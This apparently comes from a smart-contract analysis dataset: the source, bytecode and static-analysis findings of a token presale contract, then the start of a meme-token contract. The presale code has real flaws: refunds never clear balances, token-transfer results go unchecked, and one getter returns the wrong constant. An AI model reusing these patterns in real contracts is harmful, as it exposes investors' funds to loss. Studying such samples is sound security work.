require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LamboPresale is Ownable {
using SafeMath for uint256;
IERC20 public Token;
uint256 public TokenDecimals;
mapping(address => uint256) public investments; // total WEI invested per address (1ETH = 1e18WEI)
mapping (uint256=> address) public investors; // list of participating investor addresses
uint256 private _investorCount = 0; // number of unique addresses that have invested
mapping(address => bool) public whitelistAddresses; // all addresses eligible for presale
mapping(address => bool) public devAddresses; // all addresses that are devs
uint256 public constant INVESTMENT_LIMIT_PRESALE = 1.5 ether; // 1.5 ETH is maximum investment limit for pre-sale
uint256 public constant INVESTMENT_LIMIT_DEVELOPER = 2.88 ether; // 2.88 ETH is maximum investment limit for developer pre-sale
uint256 public constant INVESTMENT_LIMIT_PUBLIC = 0.5 ether; //0.5 ETH is maximum investment limit for public pre-sale
uint256 public constant INVESTMENT_RATIO_PRESALE = 28;// divided by 100 // whitelist pre-sale rate is 0.28 ETH/$LAMBO
uint256 public constant INVESTMENT_RATIO_DEVELOPER = 18;// divided by 100 // developer pre-sale rate is 0.18 ETH/$LAMBO
uint256 public constant INVESTMENT_RATIO_PUBLIC = 42; // divided by 100 // public pre-sale rate is 0.42 ETH/$LAMBO (Uniswap listing price)
bool public isPresaleActive = false; // investing is only allowed if presale is active
bool public allowPublicInvestment = false; // public investing is only allowed once the devlist/whitelist presale is over
constructor() public {
TokenDecimals = 1e18;
}
function passTokenAddress(address tokenAddress) public onlyOwner {
Token = IERC20(tokenAddress);
}
function startPresale() public onlyOwner {
isPresaleActive = true;
}
function startPublicPresale() public onlyOwner {
allowPublicInvestment = true;
}
function endPresale() public onlyOwner {
isPresaleActive = false;
payable(owner()).transfer(address(this).balance);
Token.transfer(address(Token), Token.balanceOf(address(this)));
}
function addWhitelistAddresses(address[] calldata _whitelistAddresses) external onlyOwner {
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
whitelistAddresses[_whitelistAddresses[i]] = true;
}
}
function addDevAddresses(address[] calldata _devlistAddresses) external onlyOwner {
for (uint256 i = 0; i < _devlistAddresses.length; i++) {
devAddresses[_devlistAddresses[i]] = true;
}
}
function refundInvestors() external onlyOwner {
for (uint256 i = 0; i < _investorCount; i++) {
address addressToRefund = investors[i];
uint256 refundAmount = investments[investors[i]];
// console.log("addressToRefund: '%s'", addressToRefund);
// console.log("refundAmount: '%s'", refundAmount);
payable(addressToRefund).transfer(refundAmount);
investments[investors[i]].sub(refundAmount);
}
}
modifier presaleActive() {
require(isPresaleActive, "Presale is currently not active.");
_;
}
modifier eligibleForPresale() {
require(whitelistAddresses[_msgSender()] || devAddresses[_msgSender()] || allowPublicInvestment, "Your address is not whitelisted for either presale, or the public presale hasn't started yet.");
_;
}
receive()
external
payable
presaleActive
eligibleForPresale
{
uint256 addressTotalInvestment = investments[_msgSender()].add(msg.value);
uint256 amountOfTokens;
if (isDevAddress(_msgSender()) && !allowPublicInvestment){
require(addressTotalInvestment <= INVESTMENT_LIMIT_DEVELOPER, "Max investment per dev pre-sale address is 2.88 ETH.");
amountOfTokens = msg.value.mul(100).div(INVESTMENT_RATIO_DEVELOPER);
} else if (isWhitelisted(_msgSender()) && !allowPublicInvestment) {
require(addressTotalInvestment <= INVESTMENT_LIMIT_PRESALE, "Max investment per whitelist pre-sale address is 1.5 ETH.");
amountOfTokens = msg.value.mul(100).div(INVESTMENT_RATIO_PRESALE);
} else if (allowPublicInvestment) {
require(addressTotalInvestment <= INVESTMENT_LIMIT_PUBLIC, "Max investment for every address (once public presale has started) is 0.5 ETH.");
amountOfTokens = msg.value.mul(100).div(INVESTMENT_RATIO_PUBLIC);
}
Token.transfer(_msgSender(), amountOfTokens);
investors[_investorCount] = msg.sender;
_investorCount++;
investments[_msgSender()] = addressTotalInvestment;
}
function isWhitelisted(address adr) public view returns (bool){
return whitelistAddresses[adr];
}
function isDevAddress(address adr) public view returns (bool){
return devAddresses[adr];
}
function getInvestedAmount(address adr) public view returns (uint256){
return investments[adr];
}
function getInvestorCount() public view returns (uint256){
return _investorCount;
}
function getPresaleInvestmentLimit() view public returns (uint256) {
return INVESTMENT_LIMIT_PRESALE;
}
function getDeveloperPresaleInvestmentLimit() view public returns (uint256) {
return INVESTMENT_LIMIT_DEVELOPER;
}
function getPublicPresaleInvestmentLimit() view public returns (uint256) {
return INVESTMENT_RATIO_PUBLIC;
}
}
|
0x6080604052600436106101dc5760003560e01c806380c399f411610102578063a590183f11610095578063c6037ede11610064578063c6037ede14610e23578063c98b14d414610e8c578063db7b1ca414610eb7578063f2fde38b14610f3d5761079a565b8063a590183f14610ce7578063b3d8eb4b14610d12578063b946710514610d7b578063c241267614610dcc5761079a565b806396b98862116100d157806396b9886214610c1557806399964d1114610c7a578063a18fa38414610ca5578063a43be57b14610cd05761079a565b806380c399f414610b65578063861a48dd14610b7c5780638da5cb5b14610b93578063960524e314610bea5761079a565b80633af32abf1161017a57806360d938dc1161014957806360d938dc14610a8b5780636475305014610aba57806369ddd67d14610ae5578063715018a614610b4e5761079a565b80633af32abf146109515780633feb5f2b146109ba578063465ff4f414610a355780634d9f383214610a605761079a565b80631e263675116101b65780631e263675146108675780631ef987c1146108925780632f06bdab146108f757806335496b24146109265761079a565b806304c98b2b1461079f5780630910d1b0146107b65780630e256a5e146107e15761079a565b3661079a57600860009054906101000a900460ff16610263576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f50726573616c652069732063757272656e746c79206e6f74206163746976652e81525060200191505060405180910390fd5b6006600061026f610f8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806103125750600760006102c9610f8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806103295750600860019054906101000a900460ff165b61037e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d815260200180612455605d913960600191505060405180910390fd5b60006103d93460036000610390610f8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9690919063ffffffff16565b905060006103ed6103e8610f8e565b61101e565b80156104065750600860019054906101000a900460ff16155b1561049a576727f7d0bdb920000082111561046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061250c6034913960400191505060405180910390fd5b610493601261048560643461107490919063ffffffff16565b6110fa90919063ffffffff16565b90506105f9565b6104aa6104a5610f8e565b611144565b80156104c35750600860019054906101000a900460ff16155b15610557576714d1120d7b160000821115610529576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806124d36039913960400191505060405180910390fd5b610550601c61054260643461107490919063ffffffff16565b6110fa90919063ffffffff16565b90506105f8565b600860019054906101000a900460ff16156105f7576706f05b59d3b200008211156105cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604e8152602001806123e1604e913960600191505060405180910390fd5b6105f4602a6105e660643461107490919063ffffffff16565b6110fa90919063ffffffff16565b90505b5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61063f610f8e565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106a957600080fd5b505af11580156106bd573d6000803e3d6000fd5b505050506040513d60208110156106d357600080fd5b8101908080519060200190929190505050503360046000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005600081548092919060010191905055508160036000610758610f8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050005b600080fd5b3480156107ab57600080fd5b506107b461119a565b005b3480156107c257600080fd5b506107cb611280565b6040518082815260200191505060405180910390f35b3480156107ed57600080fd5b506108656004803603602081101561080457600080fd5b810190808035906020019064010000000081111561082157600080fd5b82018360208201111561083357600080fd5b8035906020019184602083028401116401000000008311171561085557600080fd5b9091929391929390505050611286565b005b34801561087357600080fd5b5061087c6113f2565b6040518082815260200191505060405180910390f35b34801561089e57600080fd5b506108e1600480360360208110156108b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f7565b6040518082815260200191505060405180910390f35b34801561090357600080fd5b5061090c611440565b604051808215151515815260200191505060405180910390f35b34801561093257600080fd5b5061093b611453565b6040518082815260200191505060405180910390f35b34801561095d57600080fd5b506109a06004803603602081101561097457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611144565b604051808215151515815260200191505060405180910390f35b3480156109c657600080fd5b506109f3600480360360208110156109dd57600080fd5b8101908080359060200190929190505050611463565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a4157600080fd5b50610a4a611496565b6040518082815260200191505060405180910390f35b348015610a6c57600080fd5b50610a756114a2565b6040518082815260200191505060405180910390f35b348015610a9757600080fd5b50610aa06114a7565b604051808215151515815260200191505060405180910390f35b348015610ac657600080fd5b50610acf6114ba565b6040518082815260200191505060405180910390f35b348015610af157600080fd5b50610b3460048036036020811015610b0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114c3565b604051808215151515815260200191505060405180910390f35b348015610b5a57600080fd5b50610b636114e3565b005b348015610b7157600080fd5b50610b7a61166b565b005b348015610b8857600080fd5b50610b916118d2565b005b348015610b9f57600080fd5b50610ba86119b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bf657600080fd5b50610bff6119e1565b6040518082815260200191505060405180910390f35b348015610c2157600080fd5b50610c6460048036036020811015610c3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119eb565b6040518082815260200191505060405180910390f35b348015610c8657600080fd5b50610c8f611a03565b6040518082815260200191505060405180910390f35b348015610cb157600080fd5b50610cba611a13565b6040518082815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce5611a18565b005b348015610cf357600080fd5b50610cfc611d2c565b6040518082815260200191505060405180910390f35b348015610d1e57600080fd5b50610d6160048036036020811015610d3557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d38565b604051808215151515815260200191505060405180910390f35b348015610d8757600080fd5b50610dca60048036036020811015610d9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d58565b005b348015610dd857600080fd5b50610de1611e65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e2f57600080fd5b50610e7260048036036020811015610e4657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101e565b604051808215151515815260200191505060405180910390f35b348015610e9857600080fd5b50610ea1611e8b565b6040518082815260200191505060405180910390f35b348015610ec357600080fd5b50610f3b60048036036020811015610eda57600080fd5b8101908080359060200190640100000000811115610ef757600080fd5b820183602082011115610f0957600080fd5b80359060200191846020830284011164010000000083111715610f2b57600080fd5b9091929391929390505050611e97565b005b348015610f4957600080fd5b50610f8c60048036036020811015610f6057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612003565b005b600033905090565b600080828401905083811015611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008083141561108757600090506110f4565b600082840290508284828161109857fe5b04146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124b26021913960400191505060405180910390fd5b809150505b92915050565b600061113c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612210565b905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111a2610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611263576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b60025481565b61128e610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461134f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b828290508110156113ed5760016006600085858581811061137257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611355565b505050565b601c81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860019054906101000a900460ff1681565b60006714d1120d7b160000905090565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6714d1120d7b16000081565b601281565b600860009054906101000a900460ff1681565b6000602a905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6114eb610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611673610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611734576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b6005548110156118cf5760006004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600360006004600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611839573d6000803e3d6000fd5b506118bf81600360006004600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d690919063ffffffff16565b505050808060010191505061173a565b50565b6118da610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461199b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600554905090565b60036020528060005260406000206000915090505481565b60006727f7d0bdb9200000905090565b602a81565b611a20610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ae1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860006101000a81548160ff021916908315150217905550611b046119b8565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611b49573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c4a57600080fd5b505afa158015611c5e573d6000803e3d6000fd5b505050506040513d6020811015611c7457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611cee57600080fd5b505af1158015611d02573d6000803e3d6000fd5b505050506040513d6020811015611d1857600080fd5b810190808051906020019092919050505050565b6727f7d0bdb920000081565b60076020528060005260406000206000915054906101000a900460ff1681565b611d60610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6706f05b59d3b2000081565b611e9f610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b82829050811015611ffe57600160076000858585818110611f8357fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611f66565b505050565b61200b610f8e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061242f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831182906122bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612281578082015181840152602081019050612266565b50505050905090810190601f1680156122ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816122c857fe5b049050809150509392505050565b600061231883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612320565b905092915050565b60008383111582906123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612392578082015181840152602081019050612377565b50505050905090810190601f1680156123bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4d617820696e766573746d656e7420666f72206576657279206164647265737320286f6e6365207075626c69632070726573616c652068617320737461727465642920697320302e35204554482e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373596f75722061646472657373206973206e6f742077686974656c697374656420666f72206569746865722070726573616c652c206f7220746865207075626c69632070726573616c65206861736e27742073746172746564207965742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d617820696e766573746d656e74207065722077686974656c697374207072652d73616c65206164647265737320697320312e35204554482e4d617820696e766573746d656e742070657220646576207072652d73616c65206164647265737320697320322e3838204554482ea264697066735822122058b39a9d195181ec9243b51727de2bf83754a3ba67734ecedd3fbf30aead194864736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,728 |
0x7f71eb33EE99d73eEbd25Be1c44Fb791c38b8C1b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
//SPDX-License-Identifier: None
/**
🐕Discover a MEME token with reliable tokenomics, anti-whale & anti-bot functions, built for success.🐕
Welcome to the garden of Adorable Inu🦊 (AINU)
STEALTH LAUNCH SOON
🔸 TOKENOMICS 🔸
🟢 Total Supply : 180,000,000 AINU
🟢 Tax : 10%
🚀 Max Buy: 1,800,000 (1%)
🚀 Max Wallet: 2%
🤝 Telegram : t.me/adorableinu
📣 Website: https://ainu.live
🦜 Twitter: twitter.com/adorableinu
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
